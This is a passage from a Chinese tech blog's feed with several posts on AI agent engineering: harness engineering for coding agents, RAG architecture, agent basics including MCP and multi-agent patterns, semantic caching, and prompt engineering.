Request；</p><p>3）<strong>自动验证</strong>：集成测试、静态分析和度量（比如性能指标）被Agent自发执行，或由Harness监控；</p><p>4）<strong>反馈调优</strong>：通过日志和Trace分析自动发现错误模式，工程师或子Agent据此调整提示、工具链或架构约束。</p><p>测试阶段：</p><p>然后里面毕竟重要的就是测试阶段，因为现在AI写代码是OK的，但是你不知道写的代码能不能符合你的要求！所以测试反攻是必须的！</p><p>Harness工程需要内置可度量的标准：</p><p>OpenAI实验中，Codex智能体在提交PR时必须满足基准测试和性能约束（如“启动时间小于800ms”）。这些度量通过日志（LogQL）和指标查询（PromQL）自动暴露给Agent，使其能够根据反馈自适应改进。Anthropic的做法则是在每次会话结束时让Agent提交进度文件和Git提交，以确保后续会话能无缝接续。总之，Harness工程强调“可观测性”，要求系统提供机器可读的度量（测试结果、日志、监控指标），并让智能体能够使用它们自验证。</p><p>运维阶段：</p><p>Harness工程倾向于使用容器化和临时环境。各Agent会话常在隔离的沙箱或容器中运行，生成的应用能够在这些环境中启动和测试</p><p>OpenAI实验让Codex在临时工作区启动应用，并通过Chrome DevTools获取UI快照，能够重现和修复Web界面Bug；LangChain团队使用Harbor框架在沙箱中运行Agent，并记录每一步操作到LangSmith平台。同时，安全性通过沙箱、白名单/黑名单机制以及最小权限策略来保障。例如，一个好的Harness会为代码执行、文件访问、网络请求加上资源隔离限制，以防止Agent越权操作。这使得安全成为架构设计的一部分，而非事后附加的补充。</p><p>可解释性和合规性：</p><p>Harness工程通过结构化文档和规则来增强。例如，构建<em>可供Agent理解</em>的文档（如质量守则、任务规范、示例项目代码）可以提高系统的透明度。结构化的测试用例（如JSON格式）和强制执行的格式规则也让Agent行为更可预测。Harness也要求对Agent的决策过程保留可追溯记录——如LangSmith跟踪了每个Agent动作的输入输出，有助于后续审计。合规性方面，重要的是把安全检查（如代码审计、依赖性扫描）纳入自动流程，并用AI Agent或自动化工具定期检查政策符合度。这些做法结合起来，提升了Agent工作流的透明度和可管理性。</p><p><strong>数据与模型治理</strong></p><p>Harness工程引入了可控的迭代循环。工程师负责维护知识库和提示模板（Knowledge Engineering），不断迭代改进Agent的环境约束和上下文。例如，LangChain团队通过中间件注入目录上下文和测试框架信息，教会Agent自测代码；Anthropic使用进度日志记录前置和当前状态，确保多会话间的知识传递。模型治理方面，通常由开发者管理使用的模型版本和容量（如固定使用GPT-5.2 Codex），并在Harness层面约束其行为（例如限制工具使用权限），以避免模型输出的不确定性引发安全风险。整合这些治理措施后，团队实践发生了变化：所谓“Prompt Engineer”或“Harness Engineer”角色开始出现，他们负责设计系统提示、编排工具和监控反馈循环，而传统工程师则更多地转向定义需求和维护底层架构</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">sequenceDiagram</span><br><span class="line">    participant Codex</span><br><span class="line">    participant App</span><br><span class="line">    participant ChromeDevTools</span><br><span class="line">    Codex-&gt;&gt;App: Snapshot (BEFORE)，触发UI操作</span><br><span class="line">    App--&gt;&gt;ChromeDevTools: 发送运行时事件</span><br><span class="line">    ChromeDevTools--&gt;&gt;Codex: 返回指标/日志</span><br><span class="line">    Codex-&gt;&gt;App: Snapshot (AFTER)，应用修复，重启</span><br><span class="line">    loop 直至通过</span><br><span class="line">        Codex-&gt;&gt;App: 重新运行验证</span><br><span class="line">        App--&gt;&gt;ChromeDevTools: 反馈结果</span><br><span class="line">    end</span><br></pre></td></tr></table></figure><p>与传统软件工程相比，Harness工程的最大区别在于<strong>关注层级的提升</strong>。传统软件工程关注代码实现、算法设计和单元测试，而Harness工程则更多关注环境设计和工程流程本身。在Harness范式下，“写代码”只是代理的一部分工作，工程师的主要职责是设计可执行环境、定义高层意图，以及构建结构化反馈机制</p><p>Harness工程更加重视<strong>工具链和系统运营</strong>。ML工程关注数据获取、模型训练和评估，而Harness工程假设核心模型能力已经足够强大，重点在于如何让模型安全、高效地工作于生产环境中。</p><h2 id="Codex实践">Codex实践</h2><p>OpenAI 在内部进行了一场长达五个月的极端工程实验，展示了当 Harness 足够强大时，可以达到何种自动化程度。</p><p>通过部署高度定制的 Harness，一个小型的工程师团队依托 Codex 智能体，构建并发布了一个包含 <strong>100万行代码</strong> 的内部 Beta 产品 。在此期间，人类工程师<strong>没有手动编写过一行产品源代码</strong> 。</p><p>在这个百万行代码的系统中，OpenAI 引入了两项极具启发性的 Harness 机制：</p><ol><li><strong>硬性架构约束（Architectural Constraints）</strong>：不能指望 AI 靠阅读文档来遵守架构规范。Harness 部署了确定性的自定义静态检查器（Linters）和结构测试，在机器级别强制执行业务领域之间的依赖关系边界。</li><li><strong>“垃圾回收”智能体（Garbage Collection Agents）</strong>：在无人写代码的环境中，代码库熵增依然不可避免。Harness 会定期释放“垃圾回收”智能体，它们唯一的任务就是在后台巡逻，查找并修复死代码、文档漂移（Documentation Drift）以及违反架构规范的细微错误，以此来对抗系统的物理衰退。这个也是非常重要的，因为错误过时的文档会对我们产生错觉的影响</li></ol><h1>如何去做一个Harness 系统</h1><p>一：</p><ul><li><p>将 <code>AGENTS.md</code> 从“万能提示词”重构为“项目地图”：用约百行文字说明项目结构、关键命令、最重要的架构约束以及指向详细文档的入口，而不是堆砌所有规则和细节。</p></li><li><p>将在 Code Review 中反复出现的意见转化为 Linter 规则或结构化测试，并在错误信息中附带修复建议链接，让错误提示本身成为 Agent 和新人的教学材料。</p></li></ul><p>二：</p><ul><li>完成前强制验证（Pre‑Completion Checklist）：在所有 Agent 任务中内置“完成前必须运行测试、检查 Linter、必要时启动应用进行端到端验证”的约束，避免“幻觉式成功”。</li><li>跨会话进度文件：为复杂任务设计 Agent 可读写的结构化进度记录，使每次调用都从上次状态继续，缓解上下文丢失问题。</li><li>基础可观测性注入：确保 Agent 能方便地查询关键日志和指标，而非仅依赖编译错误信息进行调试。</li></ul><p>三：</p><ul><li>部署专门的“文档整理”和“架构一致性” Agent，定期扫描并提交清理 PR，对抗熵增。</li><li>提炼跨项目可复用的 Harness 模板，将自定义 Linter、结构化测试、基础文档和可观测性配置封装为“服务模板”或“平台蓝图”，在新项目中快速复用。</li><li>引入 Trace 分析管线，让 Agent 利用运行轨迹自动归纳失败模式并提出 Harness 改进建议，实现 Harness 自演化。</li></ul>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/03/25/message/new/harness/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>RAG 知识收集</title>
      <link>https://blog.tokenlen.top/2026/03/07/message/agent/rag1/</link>
      <guid>https://blog.tokenlen.top/2026/03/07/message/agent/rag1/</guid>
      <pubDate>Fri, 06 Mar 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;核心设计&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;标准 RAG 系统核心模块&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们将 RAG 系统分为&lt;strong&gt;数据准备流 (Offline)&lt;/strong&gt; 和 &lt;strong&gt;查询处理流 (Online)&lt;/strong&gt;</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>核心设计</h1><ol><li>标准 RAG 系统核心模块</li></ol><p>我们将 RAG 系统分为<strong>数据准备流 (Offline)</strong> 和 <strong>查询处理流 (Online)</strong> 两大支柱模块：</p><p>A. 数据准备模块 (Data Ingestion Pipeline)</p><p>这是系统的“知识预处理厂”，负责将非结构化数据转化为机器可理解的格式。</p><ul><li><strong>加载器 (Document Loaders)</strong>：对接多种数据源（PDF, Notion, Confluence, SQL）。</li><li><strong>清洗与转换 (Clean &amp; Transform)</strong>：去除噪声（如 HTML 标签）、处理特殊字符。</li><li><strong>分块策略 (Chunking Strategy)</strong>：将长文拆分为固定长度或语义段落，通常带有重叠部分（Overlap）以保持上下文连贯性。</li><li><strong>向量化 (Embedding)</strong>：利用 $BGE$、$text-embedding-3$ 等模型将文本块转化为高维向量。</li><li><strong>存储 (Vector Storage)</strong>：存入向量数据库（如 Milvus, Pinecone, ElasticSearch），并附带元数据（Metadata）以便后续过滤。</li></ul><p>B. 核心功能组件</p><ul><li><strong>检索器 (Retriever)</strong>：负责从海量向量中召回最相关的 Top-K 个分块。</li><li><strong>重排器 (Reranker)</strong>：召回往往追求召回率，而重排（使用交叉熵模型）则追求精确度，对初步筛选出的结果进行精细打分。</li><li><strong>提示词引擎 (Prompt Engine)</strong>：动态组装包含 System Prompt、Retrieved Context 和 User Query 的最终提示词。</li><li><strong>生成器 (Generator)</strong>：调用 LLM（GPT-4o, Claude 3, DeepSeek 等）生成最终答案。</li></ul><ol start="2"><li>用户查询处理流程 (User Query Workflow)</li></ol><p>当一个用户发起提问时，系统会经历以下精密流程：</p><ol><li><strong>查询意图解析 (Query Rewriting)</strong>：<ul><li><strong>问题重写</strong>：如果用户问“它多少钱？”，系统会结合上下文将其补全为“某型号手机的价格是多少？”。</li><li><strong>查询路由</strong>：判断该问题是需要查知识库、查实时天气 API，还是直接闲聊。</li></ul></li><li><strong>向量化查询 (Query Embedding)</strong>：<ul><li>将用户的 Query 转化为与数据库相同的向量表示。</li></ul></li><li><strong>多路召回 (Multi-way Retrieval)</strong>：<ul><li><strong>向量检索</strong>：基于语义相似度。</li><li><strong>全文检索</strong>：基于关键字（BM25），防止专有名词因向量化丢失精度。</li></ul></li><li><strong>精排与过滤 (Rerank &amp; Filter)</strong>：<ul><li>过滤掉低分或权限不足的分块。</li><li><strong>重排器</strong>对召回的上下文进行排序，确保最相关的知识排在最前面（LLM 对 Prompt 头部和尾部的信息更敏感）。</li></ul></li><li><strong>增强生成 (Augmentation)</strong>：<ul><li>将检索到的“标准事实”填充进模板，作为 LLM 的“开卷参考资料”。</li></ul></li><li><strong>结果输出与溯源 (Citations)</strong>：<ul><li>输出答案，并标注：“参考自文件 A 的第 3 段”。</li></ul></li></ol><p>3.RAG 系统的核心能力提供</p><table><thead><tr><th><strong>能力维度</strong></th><th><strong>核心价值</strong></th></tr></thead><tbody><tr><td><strong>消除幻觉 (Anti-hallucination)</strong></td><td>强迫模型基于给定的“检索事实”回答，无根据则回答“不知道”。</td></tr><tr><td><strong>知识实时性 (Freshness)</strong></td><td>只要更新数据库（无需训练模型），AI 就能立刻掌握公司昨天发布的政策。</td></tr><tr><td><strong>私域安全 (Privacy)</strong></td><td>数据留在本地向量库，不用于模型训练，配合权限校验实现“千人千面”。</td></tr><tr><td><strong>可追溯性 (Explainability)</strong></td><td>每个答案都带原文链接，方便人工审计。</td></tr></tbody></table>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      <category domain="https://blog.tokenlen.top/tags/RAG/">RAG</category>
      
      
      <comments>https://blog.tokenlen.top/2026/03/07/message/agent/rag1/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Agent 基础知识</title>
      <link>https://blog.tokenlen.top/2026/03/04/message/agent/top1/</link>
      <guid>https://blog.tokenlen.top/2026/03/04/message/agent/top1/</guid>
      <pubDate>Tue, 03 Mar 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;基本概念&lt;/h1&gt;
&lt;h3 id=&quot;1-工作流-Workflow-与-Agent-的异同&quot;&gt;1.工作流 (Workflow) 与 Agent 的异同&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Workflow（工作流）&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;在 Java</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>基本概念</h1><h3 id="1-工作流-Workflow-与-Agent-的异同">1.工作流 (Workflow) 与 Agent 的异同</h3><p><strong>Workflow（工作流）</strong>：</p><p>在 Java 生态中，Workflow 的本质是<strong>有限状态机 (FSM)</strong> 的高级抽象。无论是传统的 Activiti/Flowable，还是现代的分布式工作流引擎 Temporal，其核心逻辑都是预定义的。</p><ul><li><strong>技术本质</strong>：它是 <strong>Graph-based</strong> 的。开发者在编码阶段就定义好了 $Next = f(State, Input)$。</li><li><strong>工程优势</strong>：<ul><li><strong>幂等性与重试机制</strong>：由于路径确定，我们可以轻松实现节点级别的事务回滚（Saga 模式）或断点续传。</li><li><strong>可观测性</strong>：每一个 State 的流转都在数据库中有明确记录，审计和排障极其简单。</li></ul></li><li><strong>Java 类比</strong>：就像是一个严谨的 <code>Switch-Case</code> 逻辑或 <code>Chain of Responsibility</code>（责任链模式），虽然复杂，但永远在控制之中。</li></ul><p>然后比如我们常用的langgraph，Spring AI alibaba graph这些都是基于工作流的。是智能体早期的一个实现。就是相当于把AI作为我们平常链路的一个部分，去调用了下API做推理的任务</p><p>然后在工作流框架里面，最重要的就是建立一套有向无环图 DAG，然后就是记录节点之间的State，然后在我们的不同的节点作为input输入，记录他的output是什么。缺点是比较确定，不够智能。优点是更加工程化，调控的粒度更加细。</p><p><strong>Agent（智能体）</strong>：</p><p>Agent 的核心在于 <strong>ReAct (Reason + Act)</strong> 模型。它不再是单纯的 $A \to B$，而是一个 <strong>Loop</strong>。</p><ul><li><strong>技术本质</strong>：它是 <strong>Model-driven</strong> 的。公式变为 $Action, Thought = LLM(Context, Goal, Tools)$。</li><li><strong>工程挑战</strong>：<ul><li><strong>非确定性</strong>：同样的输入，LLM 可能会给出不同的执行路径，这对习惯了单元测试（Unit Test）的 Java 工程师来说是巨大的挑战。</li><li><strong>幻觉控制</strong>：如果 Agent 误解了 Tool 的 API 定义（类似 Java 中的反射调用失败），会导致整个链路崩溃。</li></ul></li><li><strong>Java 类比</strong>：它更像是带有<strong>自省（Introspection）能力</strong>和**策略模式（Strategy Pattern）**的动态对象，根据运行时环境自行决定调用哪个方法。</li></ul><p>Agent主要是基于部分Agent范式，将决策规划的权力交给AI，让AI自己去规划。不让人去打断借入，所以他是流程不是那么确定的。优点是自助规划，更加智能。缺点是是不确定的，结果不够确定。</p><h3 id="2-Function-Calling-与-MCP-的对比">2.Function Calling 与 MCP 的对比</h3><p><strong>Function Calling</strong>：是模型的一种能力。模型根据描述判断需要调用哪个函数，并提取参数。它是 <strong>“模型寻找工具”</strong>。</p><ul><li><strong>技术本质</strong>：它是 Model 的原生能力。LLM 充当了“决策层”，它并不直接运行代码，而是输出一份符合特定 JSON Schema 的参数列表。</li><li><strong>Java 工程师的痛点</strong>：<ul><li><strong>适配成本高</strong>：如果你要对接 OpenAI、Claude、Gemini，每个模型的 Tool 定义格式略有不同。</li><li><strong>紧耦合</strong>：业务逻辑（函数实现）通常与 AI 应用层混在一起。如果我有 100 个微服务提供的能力，AI 应用需要手写 100 个 <code>ToolSpec</code>。</li></ul></li></ul><p><strong>MCP</strong>：是 Anthropic 推出的开放标准。它解决了“工具如何接入模型”的生态问题。以前每个 AI 都要对接不同的 API，现在通过 MCP，数据源（Google Drive、本地文件、数据库）可以标准地暴露给任何模型。它是 <strong>“工具接入模型的通用插头”</strong>。</p><p>MCP 的出现，标志着 AI 交互从“点对点定制”进入了**“标准化插件”**时代。它更像是一个 <strong>适配器模式（Adapter Pattern）</strong> 的大规模应用。</p><ul><li><strong>技术本质</strong>：它定义了一套 <strong>Client-Server 架构</strong>。<ul><li><strong>MCP Host</strong>：AI 应用（如 Claude Desktop, IDE）。</li><li><strong>MCP Server</strong>：数据源或工具提供方（Google Drive, MySQL, GitHub）。</li><li><strong>传输协议</strong>：基于 JSON-RPC 的标准化通信。</li></ul></li><li><strong>Java 工程师的视角</strong>：MCP 就是 AI 界的 <strong>JDBC</strong>。<ul><li>以前：每个数据库厂商都要写一套逻辑给应用调。</li><li>现在：数据库厂商提供 JDBC Driver（MCP Server），应用层通过统一的 JDBC 接口（MCP Client）连接一切。</li></ul></li></ul><h3 id="3-Multi-Agent">3.Multi-Agent</h3><p><strong>Multi-Agent System (MAS)</strong> 是指由多个能够自主决策的智能体（Agent）组成的集合，它们通过<strong>通信、协作、竞争或谈判</strong>来共同完成复杂的任务。</p><ul><li><strong>核心逻辑</strong>：将复杂问题拆解（Decomposition），由不同角色的 Agent 专项处理。</li><li><strong>对比单 Agent</strong>：单 Agent 容易陷入“逻辑死循环”或“上下文爆炸”；Multi-Agent 则通过<strong>角色隔离</strong>，让每个 Agent 保持极高的专业度和较小的上下文窗口（Context Window）。</li></ul><p>常见的范式：</p><p>A. 协作式 (Collaborative/Sequential)</p><p>Agent 们像流水线一样工作。</p><ul><li><strong>例子</strong>：<code>Coder Agent</code> 写代码 -&gt; <code>Reviewer Agent</code> 找 Bug -&gt; <code>Tester Agent</code> 写单测。</li><li><strong>Java 类比</strong>：<strong>责任链模式 (Chain of Responsibility)</strong>。</li></ul><p>这种类似多个Agent协作，然后重点基本就是上一个Agent的output作为我们新的Agent的output。然后这个范式的重点是put的转移。</p><p>B. 代理/分发式 (Hub-and-Spoke / Manager-Worker)</p><p>存在一个 <strong>Leader/Orchestrator Agent</strong>，它负责理解需求、拆解任务并分发给 Worker。</p><ul><li><strong>例子</strong>：用户说“帮我做一个电商网站”，Manager 拆分给前端 Agent、后端 Agent、DB Agent。</li><li><strong>Java 类比</strong>：<strong>任务调度中心 (Job Scheduler)</strong>。</li></ul><p>这个就是主子agent协作，然后我们的子Agent相当于一个大号的tools。然后这个范式的重点是上下文如何处理，隔离/不隔离。</p><p>C. 辩论/对弈式 (Debate/Peer-Review)</p><p>多个 Agent 针对同一个问题给出方案，相互质疑，最终总结出最优解。</p><ul><li><strong>优势</strong>：显著降低幻觉（Hallucination），提高逻辑准确性。</li></ul><p>这个相当于swam范式，多个Agent进行互相讨论。然后这个的重点是最后我们如何处理多个Agent产生的内容，如果出现了冲突怎么解决。</p><h3 id="4-Skills和MCP的区别">4.Skills和MCP的区别</h3><p><strong>Skill (技能/插件) 像是“条件反射”或“专项手艺”</strong>：</p><ul><li>它是为特定任务定制的。比如一个“查询天气”的 Skill，它包含了特定的 API 调用逻辑、参数校验以及如何把返回的 JSON 格式化给模型。</li><li><strong>耦合度高</strong>：通常绑定在某个特定的框架（如早期 OpenAI Plugins 或自定义 Agent 框架）内。</li></ul><p><strong>MCP (Model Context Protocol) 像是“标准感知神经”或“通用接口”</strong>：</p><ul><li>它是由 Anthropic 推出的开放标准。它不关心具体的业务逻辑，而是定义了模型如何连接到外部数据源（如 Google Drive、本地文件系统、数据库）。</li><li><strong>解耦度高</strong>：一个 MCP Server 写好后，任何支持 MCP 协议的客户端（如 Claude、Cursor、IDE）都可以直接“插拔式”使用，无需重新编写集成代码。</li></ul><p><strong>Skill (自下而上)</strong>：开发者定义 <code>sum(a, b)</code>，模型只是调用者。这是一种<strong>功能驱动（Action-oriented）</strong>。</p><p><strong>MCP (自上而下)</strong>：开发者定义一个 <code>FileSystem Server</code>，模型自己去发现里面有哪些文件、怎么读、怎么改。这是一种<strong>资源驱动（Resource-oriented）</strong>。</p><table><thead><tr><th><strong>维度</strong></th><th><strong>Skill (技能/插件)</strong></th><th><strong>MCP (标准协议)</strong></th><th><strong>Java 类比</strong></th></tr></thead><tbody><tr><td><strong>自发现机制</strong></td><td>硬编码在 Prompt 中</td><td>动态 <code>list_resources</code> 接口</td><td><strong>Reflection vs. Service Discovery</strong></td></tr><tr><td><strong>数据形态</strong></td><td>结构化参数 (JSON)</td><td>原始资源 (Content/Blob)</td><td><strong>Diver Instance vs. Connection Pool</strong></td></tr><tr><td><strong>状态保持</strong></td><td>通常无状态</td><td>支持资源订阅与实时更新</td><td><strong>Stateless API vs. WebSocket/Stream</strong></td></tr></tbody></table><p>二者谁占用上下文窗口 (Context Window) 较大？</p><p><strong>在初始化阶段，MCP 通常占用的上下文窗口更大。</strong></p><p>为什么 MCP 消耗更多 Token？</p><ol><li><strong>自描述开销 (Discovery Overhead)</strong>： MCP 为了实现“即插即用”，需要向模型发送大量的<strong>元数据 (Metadata)</strong>。当模型连接到一个 MCP Server 时，Server 会把所有的 <code>Resources</code>（可读取的文件、数据）、<code>Tools</code>（可执行的函数）及其详细的 JSON Schema 描述全部塞进 System Prompt。</li><li><strong>Schema 的详尽性</strong>： 为了让模型在没有硬编码的情况下理解如何操作数据库或文件系统，MCP 的描述通常比简单的 Skill 函数定义要冗长得多。</li><li><strong>多轮交互的上下文堆积</strong>： MCP 鼓励模型频繁读取外部资源（Resources）。每一轮读取回来的原始数据都会作为 Context 持续堆积在对话历史中。</li></ol><p>Skill 的优势（在 Token 节省方面）：</p><ul><li><strong>按需加载</strong>：开发者通常会对 Skill 进行精简，只在 Prompt 中描述核心功能，模型只有在触发特定的 Tool Call 时才会产生额外的 Token 消耗。</li><li><strong>硬编码优化</strong>：很多逻辑（如参数预处理）在后端代码里就处理了，不需要在上下文里教模型“怎么做”。</li></ul><p>比如：</p><p><strong>Skill</strong>：可能只需要告诉模型 <code>queryOrder(id)</code>。</p><p><strong>MCP</strong>：需要告诉模型 <code>Database_Server</code> 有哪些 Table，每个 Table 的 Schema 是什么，支持哪些 Prompt 模板。这些元数据在模型初始化连接（Sampling）时就会占据大量 <strong>KV Cache</strong>。</p><h1>场景优化</h1><h3 id="1-重复问题">1.重复问题</h3><p>1.对于系统中大量重复或相似的用户问题，有哪些优化方式可以节约资源?若要实现该优化，具体如何拆解流程图，如何抽取共性问题并汇总答案?</p><p>看到这种问题，我们在工程上第一个想到的就是缓存？传统的缓存（如 Redis）是基于 <strong>Key 的精确匹配</strong>，但在 AI 场景下，用户问“如何重置密码？”和“密码忘了怎么找回？”虽然字面不同，但<strong>语义一致</strong>。</p><ul><li><strong>优化方案</strong>：引入**向量数据库（Vector DB）**作为语义缓存层。</li><li><strong>收益</strong>：<ul><li><strong>节约资源</strong>：命中缓存直接返回结果，Token 消耗降为 0（仅需极小的 Embedding 消耗）。</li><li><strong>降低延迟</strong>：从毫秒级的向量检索代替秒级的 LLM 生成。</li><li><strong>一致性</strong>：确保相似问题得到经过人工校验过的、高质量的标准答案。</li></ul></li></ul><p>然后我们的基本流程可能就是</p><p>首先用户进行输入-&gt;进行向量库的相似性匹配-&gt;然后是否召会的结果-&gt;没有就去再使用AI进行回复</p><p>但是这样还并不是完全的完善的，我们可以模仿Java的缓存系统也设计上多级缓存比如</p><ul><li>精确缓存-使用HASH针对完成一样的重复问题</li><li>语义缓存-使用向量库针对完成相似的问题</li><li>AI回复-使用AI进行恢复</li><li>兜底-静态的恢复，比如AI正在忙碌</li></ul><p>但是那么我们这些共性的答案是从哪里去获得呢？肯定不是人一个一个去写的，需要自动化获取。</p><p>而这个就是我们知识库的一个搭建，这当然是最好的方式。</p><ol><li>问题提取：</li></ol><p><strong>算法选型</strong>：使用 <strong>HDBSCAN</strong> 或 <strong>K-Means</strong> 对历史日志中的 Query 向量进行聚类。</p><p><strong>密度分析</strong>：识别出簇（Cluster）最大的部分，这些就是“共性问题”。</p><ol start="2"><li>共性询问提取：</li></ol><p>对于每一个聚类簇，随机抽取 5-10 个代表性问题，发送给一个轻量级模型（如 GPT-4o-mini 或 Claude Haiku）：</p><blockquote><p>“以下是用户问的 10 个相似问题，请总结出一个最标准、最通用的提问标题。”</p></blockquote><ol start="3"><li>答案合成与精修</li></ol><p><strong>合成</strong>：将该簇下 LLM 之前的多个回答交给模型进行“合并同类项”，消除矛盾点，保留最全的逻辑。</p><p><strong>人工校验 (Rerank/Human-in-the-loop)</strong>：资深工程师或运营对生成的“标准答案”进行最后审核，确保技术准确性。</p><p><strong>索引固化</strong>：将该标准标题和答案存入 FAQ 库，并赋予极高的搜索权重。</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/03/04/message/agent/top1/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>提示词工程解析-1</title>
      <link>https://blog.tokenlen.top/2026/02/25/message/new/prompt1/</link>
      <guid>https://blog.tokenlen.top/2026/02/25/message/new/prompt1/</guid>
      <pubDate>Tue, 24 Feb 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h2 id=&quot;1-引言：理解大模型交互的本质&quot;&gt;1.</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h2 id="1-引言：理解大模型交互的本质">1. 引言：理解大模型交互的本质</h2><p>在实际业务场景中，与大语言模型（LLM）的交互，本质上是<strong>基于无状态API调用的概率推断过程</strong>。由于模型具有发散性思维，如果我们仅提供简单的指令，往往会得到非结构化的长文本、低质量的发散性内容，甚至是“模型幻觉”（Hallucination）。</p><p>为了让AI在逻辑推理、内容生产和信息提取等业务流中稳定发挥作用，我们必须通过工程化的手段来约束其输出。<strong>提示词（Prompt）就是我们控制大模型输出格式、规范业务逻辑、处理异常边界的核心工具。</strong></p><h2 id="2-提示词的二元结构解析">2. 提示词的二元结构解析</h2><p>为了让AI准确理解并执行任务，我们在工程上通常将提示词划分为两个核心层级，它们在模型的注意力权重和功能定位上截然不同：</p><ul><li><strong>系统提示词（System Prompt）：定规矩（高权重）</strong> 这是智能体的“底层操作系统”。它具有全局最高权重，负责定义AI的角色设定、思维链路（CoT）、可用工具集、硬性规则约束以及异常处理的兜底机制。</li><li><strong>用户提示词（User Prompt）：派任务（动态权重）</strong> 这是具体的“业务工单”。它结合历史上下文（Memory），告诉AI当前具体的业务诉求是什么、执行任务所需的背景数据在哪里、以及单次任务的特殊约束。</li></ul><p>优秀的提示词设计，不是堆砌文字，而是构建清晰的逻辑契约。</p><h2 id="3-核心框架：如何设计高鲁棒性的系统提示词（System-Prompt）">3. 核心框架：如何设计高鲁棒性的系统提示词（System Prompt）</h2><p>在构建系统提示词时，绝不能依赖单一模板，而应采用结构化的模块设计。一个专业级智能体的System Prompt通常包含以下六大组件：</p><ul><li><strong>角色与目标（Role &amp; Objective）：</strong> 明确AI的专业身份、目标受众以及最终交付价值。例如：“你是一名资深财务合规审计员，负责核查报销单据的合规性，受众为财务经理。”</li><li><strong>边界与护栏（Constraints &amp; Guardrails）：</strong> 明确“不能做什么”。例如严禁捏造数据、禁止输出带有主观情绪的评价、或在缺乏上下文时强制触发默认后备响应（Fallback Response，如回复“缺少前置数据，无法判断”）。</li><li><strong>工作流与思维链（Workflow &amp; CoT）：</strong> 规定AI处理问题的标准化步骤（SOP）。“第一步提取关键实体；第二步比对业务规则库；第三步输出差异报告。”这能大幅降低逻辑断层。</li><li><strong>能力与工具（Tools &amp; Data Sources）：</strong> 明确AI可以调用的外部工具（如联网检索、数据库查询）以及构建事实基础的数据源依赖。</li><li><strong>输入输出规范（I/O Specifications）：</strong> 强约束数据交互格式。对于业务系统对接，需强制要求AI以严格的JSON或XML格式输出，并定义好字段名及数据类型，以便下游代码解析。</li><li><strong>少样本示例（Few-Shot Examples）：</strong> 提供正向（最佳实践）和反向（错误纠正）的示例边界，让模型通过模式匹配“秒懂”预期结果。</li></ul><h2 id="4-实战策略：如何编写精准的用户提示词（User-Prompt）">4. 实战策略：如何编写精准的用户提示词（User Prompt）</h2><p>用户提示词是触发单次业务逻辑的钥匙。编写时，字数的多少并不决定质量，<strong>信息的信噪比</strong>才是关键。高质量的User Prompt必须包含：</p><ol><li><strong>明确的业务意图：</strong> 我当前的目标是什么？</li><li><strong>纯净的上下文（Context）：</strong> 解决这个问题，你需要参考哪些具体的外部数据或文档片段？（避免将无关信息塞入，干扰模型注意力）。</li><li><strong>单次执行的特殊约束：</strong> 本次输出是否有字数限制？是否需要重点关注某个特定字段？</li></ol><p>*业务洞察：对于长流程的复杂业务，建议采用**任务拆解（Task Decomposition）*<em>策略，将长User Prompt拆分为多个连续的子任务流，通过多轮对话引导AI完成，这比一次性抛出巨量需求的效果好得多。</em></p><h2 id="5-结语：提示词是持续迭代的工程">5. 结语：提示词是持续迭代的工程</h2><p>提示词不是一次性写就的文学作品，而是需要持续维护的工程代码。在实际业务落地中，我们需要遵循生命周期管理：<strong>需求分析 -&gt; 草稿设计 -&gt; 边界用例测试（Test Cases） -&gt; 效果评估 -&gt; 版本迭代</strong>。</p><p>不同基座模型对同一套提示词的敏感度存在差异。只有建立在清晰业务逻辑之上的提示词架构，才能真正做到“以不变应万变”，让AI真正成为可靠的业务生产力。</p><h2 id="6-简单介绍">6.简单介绍</h2><p>提示词的作用:</p><p>首先回答一下AI，也就是一次API调用罢了，我们就把他当成一次结果大致相似，但是内容不同的一些返回，这个主要用在什么地方呢？比如逻辑推理/内容生产/信息提取这类里面。但是经常大模型返回的要么就是很多的文本或者是一些乱七八糟的数据，我们怎么去规定数据的格式化返回？如果让Ai返回的内容尽可能地符合我们的需求？如果返回的数据错乱了，我们该怎么处理？这些很多都是可以在提示词的部分完成的！或者是使用代码工程化的去解决。</p><p>然后我们再去分析一下提示词是什么，对于AI来说提示词分为两类，一种算系统提示词，可以说是我们整个智能体都通用的提示词，里面主要是写了这个智能体的功能角色的设计，他的运行方式（思维链路），可调用的工具，他的规则，输入输出的示例，兜底的一个回答等等。然后另一个是我们的用户提示词，就是我们需要我们的Agent具体去做的一个任务。然后他们两个的给模型的权重是不同的，系统提示词的权重要大，一般只有一个，而用户提示词的权重要小一点，可以有很多条，一般会加上我们的历史消息。</p><p>在我的理解上，提示词是什么呢？提示词就是一个让我们的AI输出我们自己想要的内容的一段提示语。</p><p>所以那么我们该怎么去设计提示词呢？</p><p>提示词的设计:</p><p>首先先去说一说我们提示词可以怎么去设计，一个是可以套用别人的模板，然后我们自己修改修改。或者是在使用自己的经验去总结。提示词只是一个让输出我们理想的一段话而